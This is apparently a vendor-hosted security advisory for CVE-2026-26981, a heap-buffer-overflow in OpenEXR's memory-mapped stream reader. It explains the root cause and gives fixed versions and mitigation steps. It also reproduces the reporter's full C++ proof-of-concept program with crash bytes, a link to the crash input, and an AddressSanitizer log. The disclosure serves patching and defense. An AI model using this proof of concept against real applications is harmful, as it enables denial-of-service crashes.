NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
MEDIUM severity

CVE-2026-26981 — openexr

MEDIUMFix: AcademySoftwareFoundation/openexr@6bb2ddf

CVE-2026-26981 is a medium-severity (CVSS 6.5) CWE-195 vulnerability in openexr. A fix is available for openexr — see the affected versions and patch details below.

OpenEXR has heap-buffer-overflow via signed integer underflow in ImfContextInit.cpp

Also known asGHSA-q6vj-wxvf-5m8cPYSEC-2026-2849
Published
Updated
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Nov 4, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-26981.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs49th percentile — riskier than 49% of all scored CVEsHighest risk
0.00%0.37%0.73%1.10%0.0%0.6%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

2 pkgs affected
🐍openexr🐍openexr

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A heap-buffer-overflow (OOB read) occurs in the istream_nonparallel_read function in ImfContextInit.cpp when parsing a malformed EXR file through a memory-mapped IStream. A signed integer subtraction produces a negative value that is implicitly converted to size_t, resulting in a massive length being passed to memcpy.

Affected Version

  • OpenEXR main branch (commit at time of testing)
  • src/lib/OpenEXR/ImfContextInit.cpp, lines 121–136

Root Cause

ImfContextInit.cpp:121-126:

int64_t stream_sz = s->size ();           // e.g., 21 (actual file size)
int64_t nend = nread + (int64_t)sz;       // e.g., 17 + 4096 = 4113
if (stream_sz > 0 && nend > stream_sz)
{
    sz = stream_sz - nend;                // 21 - 4113 = -4092 (signed)
}
// ...
memcpy (buffer, data, sz);               // sz is size_t → wraps to 0xFFFFFFFFFFFFF004

sz is of type size_t (unsigned), but stream_sz - nend yields a negative int64_t value. This negative value is implicitly converted to size_t, wrapping around to a value close to 2^64, which is then passed to memcpy causing a heap-buffer-overflow.

Suggested fix: sz = stream_sz - nend → sz = stream_sz - nread

Reproduce

Build OpenEXR as static libraries with ASAN enabled, then compile the PoC below.

PoC Code:

#include <cstdint>
#include <cstring>
#include <iostream>

#include <ImfMultiPartInputFile.h>
#include <ImfInputPart.h>
#include <ImfHeader.h>

OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER

class MemMapIStream : public IStream
{
public:
    MemMapIStream (const uint8_t* data, size_t len)
        : IStream ("poc_input")
        , _data (reinterpret_cast<const char*> (data))
        , _size (static_cast<int64_t> (len))
        , _pos (0)
    {}

    bool isMemoryMapped () const override { return true; }

    bool read (char c[], int n) override
    {
        int64_t avail = (_pos < _size) ? (_size - _pos) : 0;
        int64_t copy  = (static_cast<int64_t> (n) < avail) ? n : avail;
        if (copy > 0) memcpy (c, _data + _pos, copy);
        _pos += n;
        return _pos <= _size;
    }

    char* readMemoryMapped (int n) override
    {
        if (_pos + n > _size)
            throw IEX_NAMESPACE::InputExc ("read past end");
        const char* p = _data + _pos;
        _pos += n;
        return const_cast<char*> (p);
    }

    uint64_t tellg () override { return static_cast<uint64_t> (_pos); }
    void     seekg (uint64_t pos) override { _pos = static_cast<int64_t> (pos); }

    int64_t size () override { return _size; }

private:
    const char* _data;
    int64_t     _size;
    int64_t     _pos;
};

OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT

int main ()
{
    static const uint8_t crash_data[] = {
        0x76, 0x2f, 0x31, 0x01,
        0x02, 0x06, 0x00, 0x00,
        0x74, 0x69, 0x6c, 0x65, 0x73, 0x00,
        0x20, 0x00, 0x00,
        0x53, 0x00, 0x00, 0x00
    };

    try
    {
        Imf::MemMapIStream stream (crash_data, sizeof (crash_data));
        Imf::MultiPartInputFile file (stream);
    }
    catch (const std::exception& e)
    {
        std::cout << "Exception: " << e.what () << "\n";
    }

    return 0;
}

PoC Input: https://drive.google.com/file/d/1VhjdK11LA0LHdW1mJJIQEo64mc5tpOUV/view?usp=drive_link

ASAN Log

==305348==ERROR: AddressSanitizer: negative-size-param: (size=-4096)
    #0 0x62aee9fc732a in __asan_memcpy (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #1 0x62aeea0e3377 in Imf_4_0::istream_nonparallel_read(_priv_exr_context_t const*, void*, void*, unsigned long, unsigned long, int (*)(_priv_exr_context_t const*, int, char const*, ...)) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContextInit.cpp:136:21
    #2 0x62aeea15e75b in dispatch_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:51:16
    #3 0x62aeea19da19 in scratch_seq_skip /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:202:29
    #4 0x62aeea197ec9 in check_populate_tiles /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:1560:9
    #5 0x62aeea197ec9 in check_req_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2020:24
    #6 0x62aeea197ec9 in pull_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2085:10
    #7 0x62aeea197ec9 in internal_exr_parse_header /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2848:18
    #8 0x62aeea15f578 in exr_start_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:270:49
    #9 0x62aeea0d8130 in Imf_4_0::Context::Context(char const*, Imf_4_0::ContextInitializer const&, Imf_4_0::Context::read_mode_t) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContext.cpp:124:10
    #10 0x62aeea0633ab in Imf_4_0::MultiPartInputFile::MultiPartInputFile(char const*, Imf_4_0::ContextInitializer const&, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:59:7
    #11 0x62aeea0649de in Imf_4_0::MultiPartInputFile::MultiPartInputFile(Imf_4_0::IStream&, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:96:7
    #12 0x62aeea00d522 in fuzz_cpp_headers(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:167:31
    #13 0x62aeea00d522 in fuzz_cpp_api(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:460:5
    #14 0x62aeea00a156 in LLVMFuzzerTestOneInput /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:927:5
    #15 0x62aee9f15414 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x187414) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #16 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #17 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #18 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #19 0x71035ee2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #20 0x71035ee2a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #21 0x62aee9ef9114 in _start (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)

0x503000000235 is located 0 bytes after 21-byte region [0x503000000220,0x503000000235)
allocated by thread T0 here:
    #0 0x62aeea007c61 in operator new[](unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x279c61) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #1 0x62aee9f15325 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x187325) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #2 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #3 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #4 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #5 0x71035ee2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #6 0x71035ee2a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #7 0x62aee9ef9114 in _start (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)

SUMMARY: AddressSanitizer: negative-size-param (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) in __asan_memcpy
==305348==ABORTING

Impact

  • DoS — Any application that opens a crafted EXR file will crash immediately
  • CWE-195 (Signed to Unsigned Conversion Error) → CWE-122 (Heap-based Buffer Overflow)
  • Affects any application using an IStream implementation where isMemoryMapped() returns true

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIopenexr≥ 3.3.0&&< 3.3.73.3.7pip install --upgrade 'openexr==3.3.7'
🐍PyPIopenexr≥ 3.4.0&&< 3.4.53.4.5pip install --upgrade 'openexr==3.4.5'

Affected Products

1 product · 2 configurations
Application
openexropenexr
≥ 3.4.0 && < 3.4.5
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for openexr, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update openexr to 3.3.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-26981 is resolved across your whole dependency graph.

  3. Workarounds

    Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate

``` The vulnerable code was introduced in OpenEXR 3.3.0 via commit https://github.com/AcademySoftwareFoundation/openexr/commit/c3e212e9c76c4d174f5624564f9103dc49ca1fd8. OpenEXR 1.x (shipped in RHEL 6 and RHEL 7) and OpenEXR 2.x (shipped in RHEL 8) do not include the affected context implementation and are therefore…

Workaround published by Red Hat
No mitigation is currently available that meets Red Hat Product Security's standards for usability, deployment, applicability, or stability.
Source: Red Hat security advisory for CVE-2026-26981 (CC BY 4.0)

Frequently Asked Questions

## Summary A heap-buffer-overflow (OOB read) occurs in the `istream_nonparallel_read` function in `ImfContextInit.cpp` when parsing a malformed EXR file through a memory-mapped `IStream`. A signed integer subtraction produces a negative value that is implicitly converted to `size_t`, resulting in a massive length being passed to `memcpy`. ## Affected Version - OpenEXR **main branch** (commit at time of testing) - `src/lib/OpenEXR/ImfContextInit.cpp`, lines 121–136 ## Root Cause `ImfContextInit.cpp:121-126`: ```cpp int64_t stream_sz = s->size (); // e.g., 21 (actual file size) i
O3 Security · Impact-Aware SCA

Is CVE-2026-26981 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-26981: openexr — Fixed in 3.3.7